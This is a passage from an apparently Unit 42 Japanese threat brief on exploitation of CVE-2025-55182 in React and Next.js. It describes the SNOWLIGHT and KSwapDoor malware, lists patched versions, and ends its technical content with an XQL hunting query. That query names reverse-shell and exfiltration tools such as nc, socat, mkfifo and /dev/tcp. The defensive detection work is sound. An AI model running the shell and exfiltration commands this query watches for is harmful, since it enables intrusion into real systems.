rel=\"noopener\">4745703f395282a0687def2c7dcf82ed1683f3128bef1686bd74c966273ce1c5<\/a><\/span><\/li>\n<\/ul>\n<p>SNOWLIGHT \u306f\u3001CL-STA-1015 \u306e\u6d3b\u52d5\u3067\u898b\u3089\u308c\u308b\u30b9\u30c6\u30eb\u30b9\u6027\u306e\u9ad8\u3044\u30de\u30eb\u30a6\u30a7\u30a2\u30c9\u30ed\u30c3\u30d1\u30fc\u3067\u3059\u3002\u305d\u306e\u4e3b\u306a\u6a5f\u80fd\u306f\u3001\u4fb5\u5bb3\u3055\u308c\u305f Linux \u30b7\u30b9\u30c6\u30e0\u306b\u4fb5\u5165\u3057\u3001\u8ffd\u52a0\u306e\u3088\u308a\u5f37\u529b\u306a\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3066\u5b9f\u884c\u3059\u308b\u3053\u3068\u3067\u3059\u3002\u6700\u3082\u6ce8\u76ee\u3059\u3079\u304d\u306f\u3001VShell RAT \u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308b\u3053\u3068\u3067\u3059\u3002VShell \u306f\u3044\u304f\u3064\u304b\u306e\u30d5\u30a9\u30fc\u30e9\u30e0\u3067<a href=\"https:\/\/www.sysdig.com\/blog\/unc5174-chinese-threat-actor-vshell\" target=\"_blank\" rel=\"noopener\">\u4e2d\u56fd\u8a9e\u570f\u306e\u30b5\u30a4\u30d0\u30fc\u72af\u7f6a\u8005\u306e\u9593\u3067\u4eba\u6c17\u304c\u3042\u308a<\/a>\u3001\u305d\u306e\u4e3b\u306a\u958b\u767a\u8005\u3082\u4e2d\u56fd\u8a9e\u8a71\u8005\u3067\u3059\u3002<\/p>\n<h3>KSwapDoor<\/h3>\n<p><span style=\"font-weight: 400;\">\u3055\u3089\u306a\u308b\u5206\u6790\u306e\u7d50\u679c\u3001Unit 42\u306f\u3001\u4ee5\u524dBPFDoor\u3068\u8b58\u5225\u3057\u3066\u3044\u305f\u3082\u306e\u304c\u3001\u5b9f\u969b\u306b\u306f <\/span><b>KSwapDoor<\/b><span style=\"font-weight: 400;\"> \u3068\u547c\u79f0\u3059\u308b\u672a\u78ba\u8a8d\u306eLinux\u30d0\u30c3\u30af\u30c9\u30a2\u3067\u3042\u308a\u3001\u30b5\u30fc\u30d0\u30fc\u3092\u6a19\u7684\u3068\u3057\u3066\u3044\u308b\u3053\u3068\u3092\u767a\u898b\u3057\u307e\u3057\u305f\u3002KSwapDoor\u306f\u3001\u611f\u67d3\u3057\u305f\u30ce\u30fc\u30c9\u9593\u3067\u306e\u30de\u30eb\u30c1\u30db\u30c3\u30d7\u30eb\u30fc\u30c6\u30a3\u30f3\u30b0\u3092\u53ef\u80fd\u306b\u3059\u308b\u9ad8\u5ea6\u306aP2P\u30e1\u30c3\u30b7\u30e5\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u3092\u5b9f\u88c5\u3057\u3001C2\u901a\u4fe1\u306b\u306fDiffie-Hellman\u9375\u4ea4\u63db\u3092\u7528\u3044\u305fAES-256-CFB\u6697\u53f7\u5316\u3092\u4f7f\u7528\u3057\u3066\u3044\u307e\u3059\u3002\u307e\u305f\u3001\u30d5\u30a1\u30a4\u30a2\u30a6\u30a9\u30fc\u30eb\u56de\u907f\u306e\u53ef\u80fd\u6027\u3092\u6301\u3064\u3001\u4f11\u7720\u72b6\u614b\u306e\u30d1\u30c3\u30b7\u30d6\u30d1\u30b1\u30c3\u30c8\u30b9\u30cb\u30c3\u30d5\u30a1\u30b3\u30fc\u30c9\u3082\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u306f\u3001\u5bfe\u8a71\u578b\u30b7\u30a7\u30eb\u3001\u30b3\u30de\u30f3\u30c9\u5b9f\u884c\u3001\u30d5\u30a1\u30a4\u30eb\u64cd\u4f5c\u3001\u30e9\u30c6\u30e9\u30eb\u30e0\u30fc\u30d6\u30e1\u30f3\u30c8\u306e\u30b9\u30ad\u30e3\u30f3\u306a\u3069\u3001\u5b8c\u5168\u306a\u30ea\u30e2\u30fc\u30c8\u30a2\u30af\u30bb\u30b9\u6a5f\u80fd\u3092\u63d0\u4f9b\u3057\u307e\u3059\u3002<\/span><\/p>\n<h3><b>\u4e3b\u306a\u8abf\u67fb\u7d50\u679c (Key Findings):<\/b><\/h3>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>\u30b9\u30c6\u30eb\u30b9\u6027\u3068\u507d\u88c5 (Stealth &amp; Masquerade):<\/b><span style=\"font-weight: 400;\"> \u5b9f\u884c\u3055\u308c\u308b\u3068\u3001\u30d0\u30a4\u30ca\u30ea\u306f\u81ea\u8eab\u306e\u540d\u524d\u3092 <\/span><span style=\"font-weight: 400;\">[<span style=\"font-family: 'courier new', courier, monospace;\">kswapd1<\/span>]<\/span><span style=\"font-weight: 400;\"> \u306b\u5909\u66f4\u3057\u3001\u6b63\u898f\u306eLinux\u30ab\u30fc\u30cd\u30eb\u30b9\u30ef\u30c3\u30d7\u30c7\u30fc\u30e2\u30f3\u3092\u6a21\u5023\u3057\u307e\u3059\u3002\u30c0\u30d6\u30eb\u30d5\u30a9\u30fc\u30af\u3092\u884c\u3044\u3001\u65b0\u3057\u3044\u30bb\u30c3\u30b7\u30e7\u30f3\u3092\u4f5c\u6210\u3057 (<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">setsid()<\/span><span style=\"font-weight: 400;\">)\u3001\u3059\u3079\u3066\u306e\u6a19\u6e96\u5165\u51fa\u529b\u3092 <\/span><span style=\"font-weight: 400;\">\/dev\/null<\/span><span style=\"font-weight: 400;\"> \u306b\u30ea\u30c0\u30a4\u30ec\u30af\u30c8\u3059\u308b\u3053\u3068\u3067\u3001\u5b8c\u5168\u306b\u30c7\u30fc\u30e2\u30f3\u5316\u3057\u307e\u3059\u3002<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>\u96e3\u8aad\u5316 (Obfuscation):<\/b><span style=\"font-weight: 400;\"> \u307b\u307c\u3059\u3079\u3066\u306e\u91cd\u8981\u306a\u6587\u5b57\u5217\u3068\u8a2d\u5b9a\u30c7\u30fc\u30bf\u306f\u3001RC4\u6697\u53f7\u5316\u3092\u4f7f\u7528\u3057\u3066\u4fdd\u8b77\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u30de\u30eb\u30a6\u30a7\u30a2\u306f\u3001\u5b9f\u884c\u6642\u306b\u30ad\u30fc\u30b9\u30b1\u30b8\u30e5\u30fc\u30ea\u30f3\u30b0\u95a2\u6570\uff08<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">sub_410A41<\/span><span style=\"font-weight: 400;\"> \u304a\u3088\u3073 <\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">sub_410B8D<\/span><span style=\"font-weight: 400;\">\uff09\u3092\u4f7f\u7528\u3057\u3066\u3053\u308c\u3089\u306e\u6587\u5b57\u5217\u3092\u5fa9\u53f7\u3057\u307e\u3059\u3002<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>\u6c38\u7d9a\u5316\u3068\u8a2d\u5b9a (Persistence &amp; Configuration):<\/b><span style=\"font-weight: 400;\"> \u8a2d\u5b9a\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u30db\u30fc\u30e0\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u5185\u306eRC4\u6697\u53f7\u5316\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u306b\u4fdd\u5b58\u3055\u308c\u307e\u3059\u3002\u521d\u671f\u5316\u4e2d\u306b\u3053\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u8aad\u307f\u8fbc\u3093\u3067\u5fa9\u53f7\u3057\u3001\u30b3\u30de\u30f3\u30c9\uff06\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb\uff08C2\uff09\u306e\u30bf\u30fc\u30b2\u30c3\u30c8\u3092\u7279\u5b9a\u3057\u307e\u3059\u3002<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>\u56de\u5fa9\u529b (Resilience):<\/b><span style=\"font-weight: 400;\"> \u30de\u30eb\u30a6\u30a7\u30a2\u306f\u30a6\u30a9\u30c3\u30c1\u30c9\u30c3\u30b0\u30eb\u30fc\u30d7\u3092\u4f5c\u6210\u3057\u3066\u5b50\u30d7\u30ed\u30bb\u30b9\u3092\u751f\u6210\u30fb\u76e3\u8996\u3057\u3001\u30af\u30e9\u30c3\u30b7\u30e5\u3057\u305f\u5834\u5408\u306f\u81ea\u52d5\u7684\u306b\u518d\u8d77\u52d5\u3055\u305b\u307e\u3059\u3002\u307e\u305f\u3001<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">\/tmp\/appInsight<\/span><span style=\"font-weight: 400;\"> \u306b\u3042\u308b\u30b9\u30c6\u30fc\u30b8\u30f3\u30b0\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u3092\u5229\u7528\u3057\u307e\u3059\u3002<\/span><\/li>\n<\/ul>\n<h2><a id=\"post-167641-_y0xmo6usp575\"><\/a>\u5f53\u9762\u306e\u30ac\u30a4\u30c0\u30f3\u30b9<\/h2>\n<p><strong>\u5fc5\u8981\u306a\u30a2\u30af\u30b7\u30e7\u30f3<\/strong>: \u5373\u6642\u306e\u30d1\u30c3\u30c1\u9069\u7528\u304c\u552f\u4e00\u306e\u78ba\u5b9f\u306a\u7de9\u548c\u7b56\u3067\u3059\u3002<\/p>\n<p>\u30a8\u30f3\u30b8\u30cb\u30a2\u30ea\u30f3\u30b0\u30c1\u30fc\u30e0\u304a\u3088\u3073\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30fc\u30e0\u306f\u3001\u4ee5\u4e0b\u306e\u4fee\u6b63\u6e08\u307f\u30d0\u30fc\u30b8\u30e7\u30f3\u3078\u76f4\u3061\u306b\u30a2\u30c3\u30d7\u30b0\u30ec\u30fc\u30c9\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\uff1a<\/p>\n<ul>\n<li>React: 19.0.1\u300119.1.2\u3001\u307e\u305f\u306f 19.2.1 \u3078\u306e\u30a2\u30c3\u30d7\u30b0\u30ec\u30fc\u30c9<\/li>\n<li>Next.js: 16.0.7\u300115.5.7\u300115.4.8\u300115.3.6\u300115.2.6\u300115.1.9\u300115.0.5 \u3092\u542b\u3080\u6700\u65b0\u306e\u5b89\u5b9a\u3057\u305f\u30d1\u30c3\u30c1\u9069\u7528\u6e08\u307f\u30d0\u30fc\u30b8\u30e7\u30f3\u3078\u306e\u30a2\u30c3\u30d7\u30b0\u30ec\u30fc\u30c9<\/li>\n<\/ul>\n<p>\u3053\u306e\u8106\u5f31\u6027\u306b\u95a2\u3059\u308b\u6700\u65b0\u60c5\u5831\u306b\u3064\u3044\u3066\u306f\u3001\u30d9\u30f3\u30c0\u30fc\u304c\u63d0\u4f9b\u3059\u308b\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u3092\u53c2\u7167\u3057\u3066\u304f\u3060\u3055\u3044\uff1a<\/p>\n<ul>\n<li><a href=\"https:\/\/react.dev\/blog\/2025\/12\/03\/critical-security-vulnerability-in-react-server-components\" target=\"_blank\" rel=\"noopener\">CVE-2025-55182<\/a><\/li>\n<\/ul>\n<h2><a id=\"post-167641-_vwjhfsrfvo3\"><\/a>Unit 42 \u30de\u30cd\u30fc\u30b8\u30c9\u30b9\u30ec\u30c3\u30c8\u30cf\u30f3\u30c6\u30a3\u30f3\u30b0\u30af\u30a8\u30ea<\/h2>\n<p>Unit 42 \u30de\u30cd\u30fc\u30b8\u30c9\u30b9\u30ec\u30c3\u30c8\u30cf\u30f3\u30c6\u30a3\u30f3\u30b0\u30c1\u30fc\u30e0\u306f\u3001Cortex XDR \u304a\u3088\u3073\u4ee5\u4e0b\u306e XQL \u30af\u30a8\u30ea\u3092\u4f7f\u7528\u3057\u3066\u3001\u304a\u5ba2\u69d8\u74b0\u5883\u5168\u4f53\u3067\u3053\u306e CVE \u3092\u60aa\u7528\u3057\u3088\u3046\u3068\u3059\u308b\u8a66\u307f\u3092\u8ffd\u8de1\u3057\u7d9a\u3051\u3066\u3044\u307e\u3059\u3002Cortex XDR \u306e\u304a\u5ba2\u69d8\u306f\u3001\u3053\u308c\u3089\u306e XQL \u30af\u30a8\u30ea\u3092\u4f7f\u7528\u3057\u3066\u60aa\u7528\u306e\u5146\u5019\u3092\u691c\u7d22\u3059\u308b\u3053\u3068\u3082\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>\u4ee5\u4e0b\u306e XQL \u30af\u30a8\u30ea\u306f\u3001\u4fb5\u5bb3\u5f8c\u306e\u6d3b\u52d5\u3092\u7279\u5b9a\u3059\u308b\u305f\u3081\u306b\u4f7f\u7528\u3055\u308c\u3001\u6210\u529f\u3057\u3066\u3044\u307e\u3059\u3002\u5206\u6790\u4e2d\u3001\u8aa4\u691c\u77e5 (False Positive) \u306f\u5c11\u6570\u3067\u3057\u305f\u3002node \u30d7\u30ed\u30bb\u30b9\u306b\u3088\u3063\u3066\u751f\u6210\u3055\u308c\u305f\u5b50\u30d7\u30ed\u30bb\u30b9\u3092\u78ba\u8a8d\u3059\u308b\u3053\u3068\u3092\u63a8\u5968\u3057\u307e\u3059\u3002\u4e0a\u8a18\u3067\u89b3\u6e2c\u3055\u308c\u305f\u30b3\u30de\u30f3\u30c9\u306e\u3088\u3046\u306a\u3001\u7591\u308f\u3057\u3044\u30d5\u30a1\u30a4\u30eb\u64cd\u4f5c\u3001\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u64cd\u4f5c\u3001\u5075\u5bdf\u30b3\u30de\u30f3\u30c9\u3001\u307e\u305f\u306f\u30b3\u30fc\u30c9\u5b9f\u884c\u3092\u63a2\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/p>\n<pre class=\"lang:default decode:true\">\/\/ Description: This query attempts to identify possible node processes spawning two or more post-exploitation lolbins.\r\n\r\n\/\/ Notes: This has the potential to capture false-positives, it is recommended to investigate the children processes spawned by the node process and check for suspicious file operations, network operations, reconnaissance commands or code execution.\r\n\r\nconfig case_sensitive = false\r\n\r\n| preset=xdr_process\r\n\r\n| filter (actor_process_image_name in (\"node\",\"node.exe\", \"bun\", \"bun.exe\") and actor_process_command_line in (\"*react-dom*\", \"*.next*\", \"*node_modules\/next*\", \"*react-server*\", \"*next-server*\", \"*node server.js*\", \"*bin\/next*\", \"*--experimental-https*\", \"*app\/server*\", \"*.pnpm\/next*\", \"*next start*\", \"*next dev*\", \"*react-scripts start*\", \"*next\/dist\/server*\")) or (causality_actor_process_image_name in (\"node\",\"node.exe\", \"bun\", \"bun.exe\") and causality_actor_process_command_line in (\"*react-dom*\", \"*.next*\", \"*node_modules\/next*\", \"*react-server*\", \"*next-server*\", \"*node server.js*\", \"*bin\/next*\", \"*--experimental-https*\", \"*app\/server*\", \"*.pnpm\/next*\", \"*next start*\", \"*next dev*\", \"*react-scripts start*\", \"*next\/dist\/server*\"))\r\n\r\n| filter actor_process_command_line not in (\"*homebrew*\", \"*git config*\", \"*\/users*\", \"*\/usr*\", \"*\\users*\", \"*gcloud config*\", \"*git branch*\", \"*git describe*\") and action_process_image_command_line not in (\"*homebrew*\", \"*git config*\", \"*\/users*\", \"*\/usr*\", \"*\\users*\", \"*gcloud config*\", \"*git branch*\", \"*git describe*\") and causality_actor_process_command_line not in (\"*Microsoft VS Code*\", \"*iTerm2*\", \"*Visual Studio Code*\") and action_process_image_name not in (\"node\", \"node.exe\")\r\n\r\n| alter suspicious_processes = arraycreate(\"id\", \"curl\", \"wget\", \"whoami\", \"arp\", \"at.exe\", \"hostname\", \"nbstat.exe\", \"netsh.exe\", \"netstat.exe\", \"nslookup\", \"ping.exe\", \"query.exe\", \"systeminfo.exe\", \"tasklist.exe\", \"traceroute.exe\", \"ipconfig.exe\", \"whoami.exe\", \"whois.exe\", \"quser.exe\", \"mshta.exe\", \"jscript.exe\", \"cscript.exe\", \"wscript.exe\", \"qwinsta.exe\", \"nltest.exe\", \"csvde.exe\", \"wevtutil.exe\", \"driverquery.exe\", \"nbtscan.exe\", \"ntdsutil.exe\", \"vssadmin.exe\", \"dsquery.exe\", \"adfind.exe\", \"klist.exe\", \"vssvc.exe\", \"nc\", \"ncat\", \"netcat\", \"base64\", \"uname\", \"dmidecode\", \"ip addr\", \"chmod -x\", \"chmod 7\", \"socat\", \"nohup\", \"setsid\", \"powershell.exe\", \"cmd.exe\", \"bash\", \"sh\", \"zsh\", \"mkfifo\", \"rundll32.exe\", \"java\", \"python\", \"python.exe\", \"php\", \"ifconfig\", \"net.exe\", \"net1.exe\", \"\/dev\/udp\", \"\/dev\/tcp\", \"adduser\", \"useradd\", \"lua\", \"crontab\", \"mknod\")\r\n\r\n| alter matches = arrayfilter(suspicious_processes , action_process_image_command_line contains \"@element\")\r\n\r\n| comp count_distinct(action_process_image_command_line) as num_procs, values(action_process_image_command_line) as action_process_image_command_line, values(causality_actor_process_command_line) as causality_actor_process_command_line by agent_hostname, actor_process_image_name, actor_process_command_line, action_process_image_name\r\n\r\n| filter num_procs &gt; 1<\/pre>\n<h2><a id=\"post-167641-_apu0n0ccpv6k\"><\/a>\u7d50\u8ad6<\/h2>\n<p>\u3053\u306e\u8106\u5f31\u6027\u304c\u5373\u5ea7\u306b\u304b\u3064\u5e83\u7bc4\u56f2\u306b\u60aa\u7528\u3055\u308c\u305f\u3053\u3068\u306f\u3001\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u304c\u6a5f\u4f1a\u3092\u6349\u3048\u3066\u3044\u304b\u306b\u8fc5\u901f\u306b\u884c\u52d5\u3059\u308b\u304b\u3092\u6d6e\u304d\u5f6b\u308a\u306b\u3057\u3066\u3044\u307e\u3059\u3002\u4e2d\u56fd\u306b\u95a2\u9023\u3059\u308b\u6d3b\u52d5\u3092\u78ba\u8a8d\u3057\u307e\u3057\u305f\u304c\u3001\u6d3b\u52d5\u306e\u75d5\u8de1\u306b\u306f\u30b5\u30a4\u30d0\u30fc\u72af\u7f6a\u3092\u52d5\u6a5f\u3068\u3059\u308b\u3082\u306e\u3082\u76f8\u5f53\u6570\u542b\u307e\u308c\u308b\u3067\u3057\u3087\u3046\u3002<\/p>\n<p>\u7279\u306b\u6ce8\u76ee\u3059\u3079\u304d\u306f\u3001CL-STA-1015 (\u5225\u540d UNC5174) \u304c N-day \u8106\u5f31\u6027\u3092\u8fc5\u901f\u306b\u60aa\u7528\u3057\u3066\u304d\u305f\u6b74\u53f2\u304c\u3042\u308b\u3053\u3068\u3067\u3059\uff1a<\/p>\n<ul>\n<li><a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/cve-2024-1709\" target=\"_blank\" rel=\"noopener\">CVE-2024-1709<\/a><\/li>\n<li><a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/cve-2023-46747\" target=\"_blank\" rel=\"noopener\">CVE-2023-46747<\/a><\/li>\n<li><a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/cve-2023-22518\" target=\"_blank\" rel=\"noopener\">CVE-2023-22518<\/a><\/li>\n<li><a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/cve-2022-0185\" target=\"_blank\" rel=\"noopener\">CVE-2022-0185<\/a><\/li>\n<li><a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2022-30525\" target=\"_blank\" rel=\"noopener\">CVE-2022-30525<\/a><\/li>\n<\/ul>\n<p>\u3053\u306e\u8106\u5f31\u6027\u306e\u6c7a\u5b9a\u7684\u306a\u7279\u5fb4\u306f\u3001\u305d\u308c\u304c\u78ba\u7387\u7684\u306a\u30a8\u30e9\u30fc\u3067\u306f\u306a\u304f\u3001Flight \u30d7\u30ed\u30c8\u30b3\u30eb\u306b\u304a\u3051\u308b\u6c7a\u5b9a\u8ad6\u7684\u306a\u30ed\u30b8\u30c3\u30af\u306e\u4e0d\u5177\u5408\u3067\u3042\u308b\u3068\u3044\u3046\u70b9\u3067\u3059\u3002\u5931\u6557\u3059\u308b\u53ef\u80fd\u6027\u306e\u3042\u308b\u30e1\u30e2\u30ea\u7834\u640d\u306e\u30d0\u30b0\u3068\u306f\u7570\u306a\u308a\u3001\u3053\u306e\u4e0d\u5177\u5408\u306f\u5b9f\u884c\u3092\u4fdd\u8a3c\u3057\u3001\u653b\u6483\u8005\u306b\u3068\u3063\u3066\u4fe1\u983c\u6027\u306e\u9ad8\u3044\u30b7\u30b9\u30c6\u30e0\u5168\u4f53\u306e\u30d0\u30a4\u30d1\u30b9\u3078\u3068\u5909\u5316\u3055\u305b\u307e\u3059\u3002\u30a8\u30f3\u30bf\u30fc\u30d7\u30e9\u30a4\u30ba\u74b0\u5883\u306b\u304a\u3051\u308b Next.js \u306e\u5de8\u5927\u306a\u30d5\u30c3\u30c8\u30d7\u30ea\u30f3\u30c8\u306b\u3088\u3063\u3066\u5897\u5e45\u3055\u308c\u3001\u3053\u308c\u306f\u6a5f\u5bc6\u6027\u306e\u9ad8\u3044\u5185\u90e8\u30c7\u30fc\u30bf\u3078\u306e\u76f4\u63a5\u7684\u306a\u5c0e\u7ba1 (\u30d1\u30a4\u30d7\u30e9\u30a4\u30f3) \u3092\u4f5c\u308a\u51fa\u3057\u307e\u3059\u3002<\/p>\n<p>\u6700\u7d42\u7684\u306b\u3001\u3053\u306e\u30a4\u30f3\u30b7\u30c7\u30f3\u30c8\u306f\u3001\u73fe\u4ee3\u306e\u30a2\u30fc\u30ad\u30c6\u30af\u30c1\u30e3\u306b\u304a\u3051\u308b\u30d1\u30d5\u30a9\u30fc\u30de\u30f3\u30b9\u3068\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306e\u9593\u306b\u56fa\u6709\u306e\u6469\u64e6\u304c\u3042\u308b\u3053\u3068\u3092\u5f37\u8abf\u3057\u3066\u3044\u307e\u3059\u3002React Server Components \u306f\u30ed\u30b8\u30c3\u30af\u3092\u30bd\u30fc\u30b9\u306b\u8fd1\u3065\u3051\u308b\u3053\u3068\u3067\u30c7\u30fc\u30bf\u53d6\u5f97\u3068\u691c\u7d22\u30a8\u30f3\u30b8\u30f3\u6700\u9069\u5316 (SEO) \u3092\u6700\u9069\u5316\u3057\u307e\u3059\u304c\u3001\u540c\u6642\u306b\u653b\u6483\u5bfe\u8c61\u9818\u57df (\u30a2\u30bf\u30c3\u30af\u30b5\u30fc\u30d5\u30a7\u30b9) \u3092\u7d44\u7e54\u306e\u6700\u3082\u6a5f\u5bc6\u6027\u304c\u9ad8\u304f\u4fa1\u5024\u306e\u3042\u308b\u30c7\u30fc\u30bf\u306b\u8fd1\u3065\u3051\u308b\u3053\u3068\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u304a\u5ba2\u69d8\u306f\u3001\u4ee5\u4e0b\u306b\u793a\u3059\u88fd\u54c1\u306b\u3088\u3063\u3066\u4fdd\u8b77\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3088\u308a\u95a2\u9023\u6027\u306e\u9ad8\u3044\u60c5\u5831\u304c\u5165\u624b\u53ef\u80fd\u306b\u306a\u308a\u6b21\u7b2c\u3001\u3053\u306e\u8105\u5a01\u30d6\u30ea\u30fc\u30d5\u3092\u66f4\u65b0\u3057\u307e\u3059\u3002<\/p>\n<h2><a id=\"post-167641-_ijr6hvy06vv2\"><\/a>CVE-2025-55182 \u306b\u5bfe\u3059\u308b\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u88fd\u54c1\u306e\u4fdd\u8b77<\/h2>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u304a\u5ba2\u69d8\u306f\u3001\u3055\u307e\u3056\u307e\u306a\u88fd\u54c1\u306e\u4fdd\u8b77\u3068\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u6d3b\u7528\u3057\u3066\u3001\u3053\u306e\u8105\u5a01\u3092\u7279\u5b9a\u3057\u9632\u5fa1\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>\u4fb5\u5bb3\u3055\u308c\u305f\u53ef\u80fd\u6027\u304c\u3042\u308b\u5834\u5408\u3001\u307e\u305f\u306f\u7dca\u6025\u306e\u4e8b\u614b\u304c\u767a\u751f\u3057\u305f\u5834\u5408\u306f\u3001<a href=\"https:\/\/start.paloaltonetworks.com\/contact-unit42.html\" target=\"_blank\" rel=\"noopener\">Unit 42 \u30a4\u30f3\u30b7\u30c7\u30f3\u30c8\u30ec\u30b9\u30dd\u30f3\u30b9\u30c1\u30fc\u30e0<\/a>\u306b\u3054\u9023\u7d61\u3044\u305f\u3060\u304f\u304b\u3001\u4ee5\u4e0b\u306b\u304a\u96fb\u8a71\u304f\u3060\u3055\u3044\uff1a<\/p>\n<ul>\n<li>\u5317\u7c73 (\u30d5\u30ea\u30fc\u30c0\u30a4\u30e4\u30eb): +1 (866) 486-4842 (866.4.UNIT42)<\/li>\n<li>\u82f1\u56fd: +44.20.3743.3660<\/li>\n<li>\u6b27\u5dde\u304a\u3088\u3073\u4e2d\u6771: +31.20.299.3130<\/li>\n<li>\u30a2\u30b8\u30a2: +65.6983.8730<\/li>\n<li>\u65e5\u672c: +81.50.1790.0200<\/li>\n<li>\u30aa\u30fc\u30b9\u30c8\u30e9\u30ea\u30a2: +61.2.4062.7950<\/li>\n<li>\u30a4\u30f3\u30c9: 000 800 050 45107<\/li>\n<li>\u97d3\u56fd: +82.080.467.8774<\/li>\n<\/ul>\n<h3><a id=\"post-167641-_82e23u9h6f5b\"><\/a><strong>Next-Generation Firewalls (\u6b21\u4e16\u4ee3\u30d5\u30a1\u30a4\u30a2\u30a6\u30a9\u30fc\u30eb) \u3068 Advanced Threat Prevention<\/strong><\/h3>\n<p><a href=\"https:\/\/docs.paloaltonetworks.com\/advanced-threat-prevention\/administration\" target=\"_blank\" rel=\"noopener\">Advanced Threat Prevention<\/a> \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b5\u30d6\u30b9\u30af\u30ea\u30d7\u30b7\u30e7\u30f3\u3092\u642d\u8f09\u3057\u305f<a href=\"https:\/\/docs.paloaltonetworks.com\/ngfw\" target=\"_blank\" rel=\"noopener\"> Next-Generation Firewall<\/a> \u306f\u3001\u4ee5\u4e0b\u306e Threat Prevention \u30b7\u30b0\u30cd\u30c1\u30e3\u306b\u3088\u3063\u3066\u653b\u6483\u3092\u30d6\u30ed\u30c3\u30af\u3059\u308b\u306e\u306b\u5f79\u7acb\u3061\u307e\u3059\uff1a<a href=\"https:\/\/www.google.com\/search?q=https:\/\/threatvault.paloaltonetworks.com\/%3Fq%3D96779\" target=\"_blank\" rel=\"noopener\">96779<\/a> \u304a\u3088\u3073<a href=\"https:\/\/www.google.com\/search?q=https:\/\/threatvault.paloaltonetworks.com\/%3Fq%3D96780\" target=\"_blank\" rel=\"noopener\"> 96780<\/a>\u3002<\/p>\n<h3><a id=\"post-167641-_g34ufww3479d\"><\/a><strong>Next-Generation Firewall \u5411\u3051\u30af\u30e9\u30a6\u30c9\u914d\u4fe1\u578b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b5\u30fc\u30d3\u30b9<\/strong><\/h3>\n<p><a href=\"https:\/\/docs.paloaltonetworks.com\/pan-os\/10-1\/pan-os-new-features\/url-filtering-features\/advanced-url-filtering\" target=\"_blank\" rel=\"noopener\">Advanced URL Filtering<\/a> \u304a\u3088\u3073<a href=\"https:\/\/docs.paloaltonetworks.com\/dns-security\" target=\"_blank\" rel=\"noopener\"> Advanced DNS Security<\/a> \u306f\u3001\u3053\u306e\u6d3b\u52d5\u306b\u95a2\u9023\u3059\u308b\u65e2\u77e5\u306e\u30c9\u30e1\u30a4\u30f3\u304a\u3088\u3073 URL \u3092\u60aa\u610f\u306e\u3042\u308b\u3082\u306e\u3068\u3057\u3066\u8b58\u5225\u3057\u307e\u3059\u3002<\/p>\n<h3><a id=\"post-167641-_rrej4da82m44\"><\/a><strong>Cortex XDR \u304a\u3088\u3073 XSIAM<\/strong><\/h3>\n<p><a href=\"https:\/\/docs-cortex.paloaltonetworks.com\/p\/XDR\" target=\"_blank\" rel=\"noopener\">Cortex XDR<\/a> \u304a\u3088\u3073<a href=\"https:\/\/docs-cortex.paloaltonetworks.com\/p\/XSIAM\" target=\"_blank\" rel=\"noopener\"> XSIAM<\/a> \u30a8\u30fc\u30b8\u30a7\u30f3\u30c8\u306f\u3001\u591a\u5c64\u9632\u5fa1\u30a2\u30d7\u30ed\u30fc\u30c1\u3092\u4f7f\u7528\u3057\u3066\u60aa\u7528\u5f8c\u306e\u6d3b\u52d5\u304b\u3089\u306e\u4fdd\u8b77\u3092\u652f\u63f4\u3057\u307e\u3059\u3002<\/p>\n<p><a href=\"https:\/\/docs-cortex.paloaltonetworks.com\/p\/XSOAR\">Cortex<\/a> \u306f\u3001\u7de9\u548c\u30d7\u30ed\u30bb\u30b9\u306e\u81ea\u52d5\u5316\u3068\u8fc5\u901f\u5316\u3092\u652f\u63f4\u3059\u308b\u305f\u3081\u3001<a href=\"https:\/\/www.google.com\/search?q=https:\/\/xsoar.pan.dev\/docs\/reference\/playbooks\/CVE-2025-55182_and_CVE-2025-66478_-_React_and_Next_js_Remote_Code_Execution\">CVE-2025-55182 (React) \u304a\u3088\u3073 CVE-2025-66478 